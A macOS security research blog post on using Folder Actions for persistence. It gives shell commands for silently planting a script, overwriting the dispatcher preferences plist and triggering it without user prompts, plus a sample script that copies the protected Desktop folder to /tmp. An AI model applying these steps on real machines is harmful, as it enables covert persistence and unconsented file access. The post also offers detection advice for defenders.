Beyond the good ol' LaunchAgents - 24 - Folder Actions
This is part 24 in the series of “Beyond the good ol’ LaunchAgents”, where I try to collect various persistence techniques for macOS. For more background check the introduction.
Folder action persistence has been documented by Cody Thomas back in 2019 in his blog. I think he did an awesome job, and everything he wrote still applies today. I wanted to take it a bit further and see if I can persist without any user prompts, and it turned out it is possible. I will also talk about its TCC implications.
The TL;DR Link to heading
Folder Actions are documented by Apple in their developer documentation: Mac Automation Scripting Guide: Watching Folders. Basically these are scripts that the system will run when files are added or deleted from the watched folder in Finder or the folder’s window is opened, closed or resized. (If we perform the same actions in shell nothing happens).
We can add such scripts via Finder, but that requires extensive user actions or by Apple Scripts, but that one also generates quite a few prompts. Let’s explore how we can bypass the user and persist without any popup.
Creating Folder Actions Link to heading
As described by Cody the default location for the scripts is /Library/Scripts/Folder Action Scripts
and ~/Library/Scripts/Folder Action Scripts
. The other important item he described is that the action script configuration can be found in the file ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist
. This PLIST contains even more embedded PLISTs in base64 encoded format.
Let’s start by creating a Folder Action through the GUI, for a folder ~/test
and attach the script ~/Library/Scripts/Folder Action Scripts/folderaction.scpt
. This is what we get as a result.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>folderActions</key>
<data>
YnBsaXN0MDDUAQIDBAUGBwpYJHZlcnNpb25ZJGFyY2hpdmVyVCR0b3BYJG9iamVjdHMS
AAGGoF8QD05TS2V5ZWRBcmNoaXZlctEICVRyb290gAGuCwwSHh8gISQrLzQ1NjpVJG51
bGzSDQ4PEVpOUy5vYmplY3RzViRjbGFzc6EQgAKAB9YTFBUWFw4YGRobHB1YYm9va21h
cmtXZW5hYmxlZF1wcmlvckNvbnRlbnRzVG5hbWVXc2NyaXB0c4ADgAWABoAEgAiADU8R
A2Bib29rYAMAAAAABBAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQ
AgAABAAAAAMDAAAAAgAABQAAAAEBAABVc2VycwAAAAUAAAABAQAAY3NhYnkAAAAEAAAA
AQEAAHRlc3QMAAAAAQYAABAAAAAgAAAAMAAAAAgAAAAEAwAAQ10AAAMAAAAIAAAABAMA
AE2ZAAADAAAACAAAAAQDAACpGgYAAwAAAAwAAAABBgAAUAAAAGAAAABwAAAACAAAAAAE
AABBw6vM+VIwNxgAAAABAgAAAgAAAAAAAAAPAAAAAAAAAAAAAAAAAAAACAAAAAQDAAAB
AAAAAAAAAAQAAAADAwAA9QEAAAgAAAABCQAAZmlsZTovLy8MAAAAAQEAAE1hY2ludG9z
aCBIRAgAAAAEAwAAAJAvUAkAAAAIAAAAAAQAAEHDjpDvAAAAJAAAAAEBAAAwQTgxRjNC
MS01MUQ5LTMzMzUtQjNFMy0xNjlDMzY0MDM2MEQYAAAAAQIAAIEAAAABAAAA7xMAAAEA
AAAAAAAAAAAAAAEAAAABAQAALwAAAAAAAAABBQAAwwAAAAECAAA0MmMxMGVlZjZiNTNi
ZTcwMWI2NjZhMTM4M2E3YmQwMWQ1YjE4NzA0ODUxMzRhMDViMDFhZTU2YzYyOTcwZTkw
OzAwOzAwMDAwMDAwOzAwMDAwMDAwOzAwMDAwMDAwOzAwMDAwMDAwMDAwMDAwMjA7Y29t
LmFwcGxlLmFwcC1zYW5kYm94LnJlYWQtd3JpdGU7MDE7MDEwMDAwMDY7MDAwMDAwMDMw
MDA2MWFhOTswMTsvdXNlcnMvY3NhYnkvdGVzdAAA2AAAAP7///8BAAAAAAAAABEAAAAE
EAAAPAAAAAAAAAAFEAAAgAAAAAAAAAAQEAAApAAAAAAAAABAEAAAlAAAAAAAAAACIAAA
cAEAAAAAAAAFIAAA4AAAAAAAAAAQIAAA8AAAAAAAAAARIAAAJAEAAAAAAAASIAAABAEA
AAAAAAATIAAAFAEAAAAAAAAgIAAAUAEAAAAAAAAwIAAAfAEAAAAAAAABwAAAxAAAAAAA
AAARwAAAIAAAAAAAAAASwAAA1AAAAAAAAAAQ0AAABAAAAAAAAACA8AAAhAEAAAAAAABU
dGVzdAnSDQ4iEaCAB9IlJicoWiRjbGFzc25hbWVYJGNsYXNzZXNeTlNNdXRhYmxlQXJy
YXmjJykqV05TQXJyYXlYTlNPYmplY3TSDQ4sEaEtgAmAB9QTFBYOMBkyM4AKgAWAC4AM
TxEELGJvb2ssBAAAAAAEEDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ABwDAAAEAAAAAwMAAAACAAAFAAAAAQEAAFVzZXJzAAAABQAAAAEBAABjc2FieQAAAAcA
AAABAQAATGlicmFyeQAHAAAAAQEAAFNjcmlwdHMAFQAAAAEBAABGb2xkZXIgQWN0aW9u
IFNjcmlwdHMAAAARAAAAAQEAAGZvbGRlcmFjdGlvbi5zY3B0AAAAGAAAAAEGAAAQAAAA
IAAAADAAAABAAAAAUAAAAHAAAAAIAAAABAMAAENdAAADAAAACAAAAAQDAABNmQAAAwAA
AAgAAAAEAwAAVZkAAAMAAAAIAAAABAMAAJ8dBgADAAAACAAAAAQDAACgHQYAAwAAAAgA
AAAEAwAArR0GAAMAAAAYAAAAAQYAAKwAAAC8AAAAzAAAANwAAADsAAAA/AAAAAgAAAAA
BAAAQcOrziIIAWgYAAAAAQIAAAEAAAAAAAAADwAAAAAAAAAAAAAAAAAAAAgAAAAEAwAA
BAAAAAAAAAAEAAAAAwMAAPUBAAAIAAAAAQkAAGZpbGU6Ly8vDAAAAAEBAABNYWNpbnRv
c2ggSEQIAAAABAMAAACQL1AJAAAACAAAAAAEAABBw46Q7wAAACQAAAABAQAAMEE4MUYz
QjEtNTFEOS0zMzM1LUIzRTMtMTY5QzM2NDAzNjBEGAAAAAECAACBAAAAAQAAAO8TAAAB
AAAAAAAAAAAAAAABAAAAAQEAAC8AAAAAAAAAAQUAAPYAAAABAgAAMDk0YmQ1NjJiMGUw
MmFkNmQ5ODg3YTY3YWRkYTA0YzRlNzg0ZWViNGZiYWE1MjhkYzA0M2Y4YTU0OGU3NTA0
MjswMDswMDAwMDAwMDswMDAwMDAwMDswMDAwMDAwMDswMDAwMDAwMDAwMDAwMDIwO2Nv
bS5hcHBsZS5hcHAtc2FuZGJveC5yZWFkLXdyaXRlOzAxOzAxMDAwMDA2OzAwMDAwMDAz
MDAwNjFkYWQ7MDE7L3VzZXJzL2NzYWJ5L2xpYnJhcnkvc2NyaXB0cy9mb2xkZXIgYWN0
aW9uIHNjcmlwdHMvZm9sZGVyYWN0aW9uLnNjcHQAAADYAAAA/v///wEAAAAAAAAAEQAA
AAQQAACMAAAAAAAAAAUQAAAMAQAAAAAAABAQAAA8AQAAAAAAAEAQAAAsAQAAAAAAAAIg
AAAIAgAAAAAAAAUgAAB4AQAAAAAAABAgAACIAQAAAAAAABEgAAC8AQAAAAAAABIgAACc
AQAAAAAAABMgAACsAQAAAAAAACAgAADoAQAAAAAAADAgAAAUAgAAAAAAAAHAAABcAQAA
AAAAABHAAAAgAAAAAAAAABLAAABsAQAAAAAAABDQAAAEAAAAAAAAAIDwAAAcAgAAAAAA
AF8QEWZvbGRlcmFjdGlvbi5zY3B00iUmNzheSW50ZXJuYWxTY3JpcHSiOSpeSW50ZXJu
YWxTY3JpcHTSJSY7PF8QFEludGVybmFsRm9sZGVyQWN0aW9uoj0qXxAUSW50ZXJuYWxG
b2xkZXJBY3Rpb24ACAARABoAJAApADIANwBJAEwAUQBTAGIAaABtAHgAfwCBAIMAhQCS
AJsAowCxALYAvgDAAMIAxADGAMgAygQuBDMENAQ5BDoEPARBBEwEVQRkBGgEcAR5BH4E
gASCBIQEjQSPBJEEkwSVCMUI2QjeCO0I8Aj/CQQJGwkeAAAAAAAAAgEAAAAAAAAAPgAA
AAAAAAAAAAAAAAAACTU=
</data>
<key>folderActionsEnabled</key>
<true/>
</dict>
</plist>
This is not too informative. We can decode the base64 data, and get a binary plist. If we convert it to XML we get the following.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>$archiver</key>
<string>NSKeyedArchiver</string>
<key>$objects</key>
<array>
<string>$null</string>
<dict>
<key>$class</key>
<dict>
<key>CF$UID</key>
<integer>7</integer>
</dict>
<key>NS.objects</key>
<array>
<dict>
<key>CF$UID</key>
<integer>2</integer>
</dict>
</array>
</dict>
<dict>
<key>$class</key>
<dict>
<key>CF$UID</key>
<integer>13</integer>
</dict>
<key>bookmark</key>
<dict>
<key>CF$UID</key>
<integer>3</integer>
</dict>
<key>enabled</key>
<dict>
<key>CF$UID</key>
<integer>5</integer>
</dict>
<key>name</key>
<dict>
<key>CF$UID</key>
<integer>4</integer>
</dict>
<key>priorContents</key>
<dict>
<key>CF$UID</key>
<integer>6</integer>
</dict>
<key>scripts</key>
<dict>
<key>CF$UID</key>
<integer>8</integer>
</dict>
</dict>
<data>
Ym9va2ADAAAAAAQQMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAUAIAAAQAAAADAwAAAAIAAAUAAAABAQAAVXNlcnMAAAAFAAAAAQEAAGNz
YWJ5AAAABAAAAAEBAAB0ZXN0DAAAAAEGAAAQAAAAIAAAADAAAAAIAAAABAMA
AENdAAADAAAACAAAAAQDAABNmQAAAwAAAAgAAAAEAwAAqRoGAAMAAAAMAAAA
AQYAAFAAAABgAAAAcAAAAAgAAAAABAAAQcOrzPlSMDcYAAAAAQIAAAIAAAAA
AAAADwAAAAAAAAAAAAAAAAAAAAgAAAAEAwAAAQAAAAAAAAAEAAAAAwMAAPUB
AAAIAAAAAQkAAGZpbGU6Ly8vDAAAAAEBAABNYWNpbnRvc2ggSEQIAAAABAMA
AACQL1AJAAAACAAAAAAEAABBw46Q7wAAACQAAAABAQAAMEE4MUYzQjEtNTFE
OS0zMzM1LUIzRTMtMTY5QzM2NDAzNjBEGAAAAAECAACBAAAAAQAAAO8TAAAB
AAAAAAAAAAAAAAABAAAAAQEAAC8AAAAAAAAAAQUAAMMAAAABAgAANDJjMTBl
ZWY2YjUzYmU3MDFiNjY2YTEzODNhN2JkMDFkNWIxODcwNDg1MTM0YTA1YjAx
YWU1NmM2Mjk3MGU5MDswMDswMDAwMDAwMDswMDAwMDAwMDswMDAwMDAwMDsw
MDAwMDAwMDAwMDAwMDIwO2NvbS5hcHBsZS5hcHAtc2FuZGJveC5yZWFkLXdy
aXRlOzAxOzAxMDAwMDA2OzAwMDAwMDAzMDAwNjFhYTk7MDE7L3VzZXJzL2Nz
YWJ5L3Rlc3QAANgAAAD+////AQAAAAAAAAARAAAABBAAADwAAAAAAAAABRAA
AIAAAAAAAAAAEBAAAKQAAAAAAAAAQBAAAJQAAAAAAAAAAiAAAHABAAAAAAAA
BSAAAOAAAAAAAAAAECAAAPAAAAAAAAAAESAAACQBAAAAAAAAEiAAAAQBAAAA
AAAAEyAAABQBAAAAAAAAICAAAFABAAAAAAAAMCAAAHwBAAAAAAAAAcAAAMQA
AAAAAAAAEcAAACAAAAAAAAAAEsAAANQAAAAAAAAAENAAAAQAAAAAAAAAgPAA
AIQBAAAAAAAA
</data>
<string>test</string>
<true/>
<dict>
<key>$class</key>
<dict>
<key>CF$UID</key>
<integer>7</integer>
</dict>
<key>NS.objects</key>
<array/>
</dict>
<dict>
<key>$classes</key>
<array>
<string>NSMutableArray</string>
<string>NSArray</string>
<string>NSObject</string>
</array>
<key>$classname</key>
<string>NSMutableArray</string>
</dict>
<dict>
<key>$class</key>
<dict>
<key>CF$UID</key>
<integer>7</integer>
</dict>
<key>NS.objects</key>
<array>
<dict>
<key>CF$UID</key>
<integer>9</integer>
</dict>
</array>
</dict>
<dict>
<key>$class</key>
<dict>
<key>CF$UID</key>
<integer>12</integer>
</dict>
<key>bookmark</key>
<dict>
<key>CF$UID</key>
<integer>10</integer>
</dict>
<key>enabled</key>
<dict>
<key>CF$UID</key>
<integer>5</integer>
</dict>
<key>name</key>
<dict>
<key>CF$UID</key>
<integer>11</integer>
</dict>
</dict>
<data>
Ym9vaywEAAAAAAQQMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAHAMAAAQAAAADAwAAAAIAAAUAAAABAQAAVXNlcnMAAAAFAAAAAQEAAGNz
YWJ5AAAABwAAAAEBAABMaWJyYXJ5AAcAAAABAQAAU2NyaXB0cwAVAAAAAQEA
AEZvbGRlciBBY3Rpb24gU2NyaXB0cwAAABEAAAABAQAAZm9sZGVyYWN0aW9u
LnNjcHQAAAAYAAAAAQYAABAAAAAgAAAAMAAAAEAAAABQAAAAcAAAAAgAAAAE
AwAAQ10AAAMAAAAIAAAABAMAAE2ZAAADAAAACAAAAAQDAABVmQAAAwAAAAgA
AAAEAwAAnx0GAAMAAAAIAAAABAMAAKAdBgADAAAACAAAAAQDAACtHQYAAwAA
ABgAAAABBgAArAAAALwAAADMAAAA3AAAAOwAAAD8AAAACAAAAAAEAABBw6vO
IggBaBgAAAABAgAAAQAAAAAAAAAPAAAAAAAAAAAAAAAAAAAACAAAAAQDAAAE
AAAAAAAAAAQAAAADAwAA9QEAAAgAAAABCQAAZmlsZTovLy8MAAAAAQEAAE1h
Y2ludG9zaCBIRAgAAAAEAwAAAJAvUAkAAAAIAAAAAAQAAEHDjpDvAAAAJAAA
AAEBAAAwQTgxRjNCMS01MUQ5LTMzMzUtQjNFMy0xNjlDMzY0MDM2MEQYAAAA
AQIAAIEAAAABAAAA7xMAAAEAAAAAAAAAAAAAAAEAAAABAQAALwAAAAAAAAAB
BQAA9gAAAAECAAAwOTRiZDU2MmIwZTAyYWQ2ZDk4ODdhNjdhZGRhMDRjNGU3
ODRlZWI0ZmJhYTUyOGRjMDQzZjhhNTQ4ZTc1MDQyOzAwOzAwMDAwMDAwOzAw
MDAwMDAwOzAwMDAwMDAwOzAwMDAwMDAwMDAwMDAwMjA7Y29tLmFwcGxlLmFw
cC1zYW5kYm94LnJlYWQtd3JpdGU7MDE7MDEwMDAwMDY7MDAwMDAwMDMwMDA2
MWRhZDswMTsvdXNlcnMvY3NhYnkvbGlicmFyeS9zY3JpcHRzL2ZvbGRlciBh
Y3Rpb24gc2NyaXB0cy9mb2xkZXJhY3Rpb24uc2NwdAAAANgAAAD+////AQAA
AAAAAAARAAAABBAAAIwAAAAAAAAABRAAAAwBAAAAAAAAEBAAADwBAAAAAAAA
QBAAACwBAAAAAAAAAiAAAAgCAAAAAAAABSAAAHgBAAAAAAAAECAAAIgBAAAA
AAAAESAAALwBAAAAAAAAEiAAAJwBAAAAAAAAEyAAAKwBAAAAAAAAICAAAOgB
AAAAAAAAMCAAABQCAAAAAAAAAcAAAFwBAAAAAAAAEcAAACAAAAAAAAAAEsAA
AGwBAAAAAAAAENAAAAQAAAAAAAAAgPAAABwCAAAAAAAA
</data>
<string>folderaction.scpt</string>
<dict>
<key>$classes</key>
<array>
<string>InternalScript</string>
<string>NSObject</string>
</array>
<key>$classname</key>
<string>InternalScript</string>
</dict>
<dict>
<key>$classes</key>
<array>
<string>InternalFolderAction</string>
<string>NSObject</string>
</array>
<key>$classname</key>
<string>InternalFolderAction</string>
</dict>
</array>
<key>$top</key>
<dict>
<key>root</key>
<dict>
<key>CF$UID</key>
<integer>1</integer>
</dict>
</dict>
<key>$version</key>
<integer>100000</integer>
</dict>
</plist>
More embedded data! :( If we decode the new base64 strings, we will again get a binary plist. Unfortunately plutil
can’t convert it, and throws an error but if we take a look it will contain further info about the folders we set and the script.
I didn’t want to fully reverse the structure of this plist, but simply take a shortcut. We can setup a folder action script on our machine, like the above and take it to the victim.
Taking the above plist we can overwrite the one on the machine. There is zero protection on the file, so we can freely do that.
So the manual setup is to copy our script to its location, create the folder we want to watch (if it doesn’t exists), and overwrite preferences.
csaby@mantarey ~ % mkdir -p "Library/Scripts/Folder Action Scripts"
csaby@mantarey ~ % cp folderaction.scpt "Library/Scripts/Folder Action Scripts/"
csaby@mantarey ~ % mkdir test
csaby@mantarey ~ % cp com.apple.FolderActionsDispatcher.plist Library/Preferences
We could also do something like this to edit the preferences file:
defaults write "com.apple.FolderActionsDispatcher" "folderActions" '"{length = 2513, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 00000935 }"'
In this case, for the example, our folder action script does the following:
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("cp -R ~/Desktop /tmp/");
Now if we do anything in the folder…. nothing happens. :(
There is one more thing we need to do. The preference file has to be consumed, and for that we need to start the Folder Action Setup.app
utility, which we can kill after.
csaby@mantarey ~ % open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"
csaby@mantarey ~ % killall "Folder Actions Setup"
Now if we do anything with it in Finder, the script will be triggered. All of this without any user prompt.
Someone can either prepare a PLIST file upfront as I did here, or reverse it and programmatically do it. I didn’t do that, but if anyone does I would be interested seeing that :)
TCC implication Link to heading
As you might have noticed, I made a command to copy all files from the ~/Desktop
into /tmp/
. As Desktop
is protected by TCC it’s interesting to observe what happens. The script is not executed by Finder but FolderActionDispatcher
.
FolderActionsDispatcher
has an entitlement which allows it to prompt for all TCC permissions.
Executable=/System/Library/CoreServices/FolderActionsDispatcher.app/Contents/MacOS/FolderActionsDispatcher
Identifier=com.apple.FolderActionsDispatcher
Format=app bundle with Mach-O universal (x86_64 arm64e)
CodeDirectory v=20400 size=1210 flags=0x0(none) hashes=27+7 location=embedded
Platform identifier=13
Signature size=4442
Signed Time=2021. Oct 2. 8:44:20
Info.plist entries=27
TeamIdentifier=not set
Sealed Resources version=2 rules=2 files=0
Internal requirements count=1 size=84
[Dict]
[Key] com.apple.private.tcc.allow-prompting
[Value]
[Array]
[String] kTCCServiceAll
[Key] com.apple.application-identifier
[Value]
[String] com.apple.FolderActionsDispatcher
This means that when our script is executed, FolderActionDispatcher
will be the ultimate responsible process, and it will prompt the user. I think this is minimum misleading, and a less security aware user can click OK, without being aware at all what happens.
Script Execution Flow Link to heading
Our script is executed in the following way. The process FolderActionDispatcher
will make an XPC request to com.apple.foundation.UserScriptService
which will invoke osascript
which will invoke our shell commands. Thus ultimately the binary /System/Library/Frameworks/Foundation.framework/Versions/C/XPCServices/com.apple.foundation.UserScriptService.xpc/Contents/MacOS/com.apple.foundation.UserScriptService
is launching the script.
For blue teams I think there is a great way to monitor for this persistence: is anything launched by com.apple.foundation.UserScriptService
?
That’s all I wanted to add this, again I highly recommend checking out Cody’s blogpost.